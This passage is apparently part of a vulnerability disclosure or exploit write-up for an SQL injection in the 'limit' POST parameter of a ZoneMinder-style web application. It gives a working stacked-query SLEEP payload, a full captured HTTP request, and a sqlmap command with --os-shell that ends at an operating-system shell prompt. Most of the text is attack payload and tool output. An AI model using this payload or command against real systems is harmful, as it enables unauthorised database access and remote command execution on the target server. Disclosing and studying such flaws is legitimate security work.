2)SQL Injection
Example Url:http://192.168.241.131/zm/index.php
Parameter: limit (POST)
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: view=request&request=log&task=query&limit=100;(SELECT *
FROM (SELECT(SLEEP(5)))OQkj)#&minTime=1466674406.084434
Easy exploitable using sqlmap.
POST /zm/ HTTP/1.1
Host: 192.168.134.52
Content-Length: 73
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: zmSkin=classic; zmCSS=classic; ZMSESSID=ptbdk29oqfq3bk3cu8utbhsbm0
Connection: close
view=request&request=log&task=query&limit=100&minTime=1466674406.084434
Saved as sqli.req
Access
$ sqlmap -r sqli.req -p limit --dbms mysql --os-shell --technique S
S: Stacked queries
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 2
os-shell>
